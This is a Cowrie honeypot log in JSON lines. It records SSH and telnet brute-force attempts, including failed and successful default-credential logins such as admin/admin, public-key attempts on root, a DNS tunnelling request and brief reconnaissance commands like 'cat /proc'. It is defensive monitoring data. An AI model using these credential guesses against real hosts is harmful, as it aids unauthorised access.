{"eventid":"cowrie.command.input","input":"cat /proc 2>&1","message":"CMD: cat /proc 2>&1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:44.356503Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./ 2>&1","message":"CMD: ./ 2>&1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:45.056404Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:45.059818Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2b8844f879c6f596825a2d229d1cd649ef8e573492b2962997051ce2d6a6bbc1","size":636,"shasum":"2b8844f879c6f596825a2d229d1cd649ef8e573492b2962997051ce2d6a6bbc1","duplicate":false,"duration":"5.5","message":"Closing TTY Log: var/lib/cowrie/tty/2b8844f879c6f596825a2d229d1cd649ef8e573492b2962997051ce2d6a6bbc1 after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:45.918072Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.114293813705444,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:45.929611Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56714,"dst_ip":"10.17.0.5","dst_port":22,"session":"20b872186fcd","protocol":"ssh","message":"New connection: 80.94.92.184:56714 (10.17.0.5:22) [session: 20b872186fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:06:58.527273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:06:58.531501Z","src_ip":"80.94.92.184","session":"20b872186fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:06:58.903560Z","src_ip":"80.94.92.184","session":"20b872186fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:00.074245Z","src_ip":"80.94.92.184","session":"20b872186fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:01.414103Z","src_ip":"80.94.92.184","session":"20b872186fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":37014,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fc8044d35c3","protocol":"ssh","message":"New connection: 103.77.242.62:37014 (10.17.0.5:22) [session: 6fc8044d35c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:28.582218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:28.585829Z","src_ip":"103.77.242.62","session":"6fc8044d35c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:28.822927Z","src_ip":"103.77.242.62","session":"6fc8044d35c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09011986","message":"login attempt [root/09011986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:29.538252Z","src_ip":"103.77.242.62","session":"6fc8044d35c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:30.778691Z","src_ip":"103.77.242.62","session":"6fc8044d35c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.215","src_port":59760,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b4c5a91a3eb","protocol":"ssh","message":"New connection: 198.235.24.215:59760 (159.203.135.109:22) [session: 6b4c5a91a3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:39.460478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:39.579524Z","src_ip":"198.235.24.215","session":"6b4c5a91a3eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:40.465149Z","src_ip":"198.235.24.215","session":"6b4c5a91a3eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:07:49.104987Z","src_ip":"198.235.24.215","session":"6b4c5a91a3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26212,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a8a9c3c9332","protocol":"ssh","message":"New connection: 87.251.64.176:26212 (10.17.0.5:22) [session: 0a8a9c3c9332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:08:09.295135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:08:09.298844Z","src_ip":"87.251.64.176","session":"0a8a9c3c9332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:08:09.391977Z","src_ip":"87.251.64.176","session":"0a8a9c3c9332","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:08:09.674264Z","src_ip":"87.251.64.176","session":"0a8a9c3c9332","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:08:09.771053Z","session":"0a8a9c3c9332","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:08:09.867521Z","src_ip":"87.251.64.176","session":"0a8a9c3c9332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:08:09.963557Z","src_ip":"87.251.64.176","session":"0a8a9c3c9332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":59940,"dst_ip":"10.17.0.5","dst_port":23,"session":"10fe327586d5","protocol":"telnet","message":"New connection: 132.148.22.172:59940 (10.17.0.5:23) [session: 10fe327586d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:08.549250Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.240.10","src_port":58476,"dst_ip":"10.17.0.5","dst_port":22,"session":"9975ecff929b","protocol":"ssh","message":"New connection: 212.192.240.10:58476 (10.17.0.5:22) [session: 9975ecff929b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:09.865043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:09.870085Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:09.953287Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:e4:b5:c4:41:36:93:52:fd:83:55:df:e4:94:1d:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs1Zl6XlhRBLwpMuH1/8XcVTzRSmAjjXfuEYY9DB1a1Lftg3lQW+PGnp+gNWV2UKKCTqX7Y11wrmtgGAdv75IytOxApC2n9aChwrau9hWxY1pTUR/UriPgaZhAgzWPSE4Msy41AVHbed6dHw1BtUBkJQF41EPonW7Z/eNUwKKoDNnc/+7j1wFEwgzOX/puQgwOp17OoQS3d84bFfa9BYuipoZy3eEHE35cWP4GGzbeXq/GMFKZw0nxniH4pgztmt1jpivXzfbY5B0hQIACAUqg2zT8svRe1f2E6Eb93m835qVI0ngjEl31o0TI4dgTq9H/wpRg4IgZpDMPrnaQ1QUmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:e4:b5:c4:41:36:93:52:fd:83:55:df:e4:94:1d:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.334975Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:e4:b5:c4:41:36:93:52:fd:83:55:df:e4:94:1d:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs1Zl6XlhRBLwpMuH1/8XcVTzRSmAjjXfuEYY9DB1a1Lftg3lQW+PGnp+gNWV2UKKCTqX7Y11wrmtgGAdv75IytOxApC2n9aChwrau9hWxY1pTUR/UriPgaZhAgzWPSE4Msy41AVHbed6dHw1BtUBkJQF41EPonW7Z/eNUwKKoDNnc/+7j1wFEwgzOX/puQgwOp17OoQS3d84bFfa9BYuipoZy3eEHE35cWP4GGzbeXq/GMFKZw0nxniH4pgztmt1jpivXzfbY5B0hQIACAUqg2zT8svRe1f2E6Eb93m835qVI0ngjEl31o0TI4dgTq9H/wpRg4IgZpDMPrnaQ1QUmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.338480Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:fd:44:f8:1e:51:74:5c:7d:ba:25:07:21:7d:d4:bf","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL+QXll063/YT/lFAwqNDQhilttSrWuWXvl4zEvWrWm/XLbAi7/y1JeLNH044vn95bj0g6rqU5pZn5D7uE987cAZvN9u6fAkJmb+iykqpVMq/OyIrnBIe0N78npBrTa8nzt8CaNlozfJvKfUCHVVQbbU83BMHboQP6FAYd+EVg7rAAAAFQDL5DnwGAdBFPBZIDWU6mY+PP3yzwAAAIAFPOeNUbQYjOQKLk5YXfjV/cHOqJGPEWOaCd8/4/Op4OhSCR3eH0tJ7UKAmLl5YjzJksFQuJp5uD5UjVYGTUjr8EjQ7W/Wc33Dqyubd/ufi7kgEkgU7EDygSIoa+mZ9rbq0gNyycE9zNjuU531SA8bBFi+DNe6UApyT5USTs81DwAAAIBq21fnb8DAxQ88G/PH6oAe8pB39D4tDxUONySY5BmqqX+32TqLBwvJ0Tw5ZLDJXs5GM4XyfHq/Wr78dp6Xdywv0u4Mt11fK6gtlJCWgz7vLWnVPUB8538eARLNjVzSQjj9ttlSDjwHcZyRSnsjmibnKX66QYRsVBmH/fXtMtf3Yg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 63:fd:44:f8:1e:51:74:5c:7d:ba:25:07:21:7d:d4:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.419859Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:fd:44:f8:1e:51:74:5c:7d:ba:25:07:21:7d:d4:bf","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL+QXll063/YT/lFAwqNDQhilttSrWuWXvl4zEvWrWm/XLbAi7/y1JeLNH044vn95bj0g6rqU5pZn5D7uE987cAZvN9u6fAkJmb+iykqpVMq/OyIrnBIe0N78npBrTa8nzt8CaNlozfJvKfUCHVVQbbU83BMHboQP6FAYd+EVg7rAAAAFQDL5DnwGAdBFPBZIDWU6mY+PP3yzwAAAIAFPOeNUbQYjOQKLk5YXfjV/cHOqJGPEWOaCd8/4/Op4OhSCR3eH0tJ7UKAmLl5YjzJksFQuJp5uD5UjVYGTUjr8EjQ7W/Wc33Dqyubd/ufi7kgEkgU7EDygSIoa+mZ9rbq0gNyycE9zNjuU531SA8bBFi+DNe6UApyT5USTs81DwAAAIBq21fnb8DAxQ88G/PH6oAe8pB39D4tDxUONySY5BmqqX+32TqLBwvJ0Tw5ZLDJXs5GM4XyfHq/Wr78dp6Xdywv0u4Mt11fK6gtlJCWgz7vLWnVPUB8538eARLNjVzSQjj9ttlSDjwHcZyRSnsjmibnKX66QYRsVBmH/fXtMtf3Yg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.424238Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:74:b4:aa:97:60:37:d4:85:d4:65:a5:05:68:db:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjV99I98bovZEeSAqjLOsMMA74Aq5kAnD5AHGdkqprrs06At3JujC7GIh5qhYD6tGguFdc49rM0H4bGPU+xxWiYMGCt4TXKlSGjKQ/i03AG36Q6kU1AG1+KV029dkaJQstpYC3Jps77faSxs+uPyV1ktLR9Te0rlyWOGAJ/bCroWJcQlPOt4xdGMaRD7n7cC0eUFdXHZLJZ2Z4bQWm4sxytm6AL8KQyJrATpBwmMri2ckJpOGr2oS3CbY4oKjnnfphgDmDoaW1u7ijOvgqzcTftwM79ScYxjmQzEE/utSjC8jsnQ6MKlhq1BWMDBi862ljPD7F0cb24kLN5hhfsGIX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:74:b4:aa:97:60:37:d4:85:d4:65:a5:05:68:db:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.503713Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:74:b4:aa:97:60:37:d4:85:d4:65:a5:05:68:db:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjV99I98bovZEeSAqjLOsMMA74Aq5kAnD5AHGdkqprrs06At3JujC7GIh5qhYD6tGguFdc49rM0H4bGPU+xxWiYMGCt4TXKlSGjKQ/i03AG36Q6kU1AG1+KV029dkaJQstpYC3Jps77faSxs+uPyV1ktLR9Te0rlyWOGAJ/bCroWJcQlPOt4xdGMaRD7n7cC0eUFdXHZLJZ2Z4bQWm4sxytm6AL8KQyJrATpBwmMri2ckJpOGr2oS3CbY4oKjnnfphgDmDoaW1u7ijOvgqzcTftwM79ScYxjmQzEE/utSjC8jsnQ6MKlhq1BWMDBi862ljPD7F0cb24kLN5hhfsGIX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.507064Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
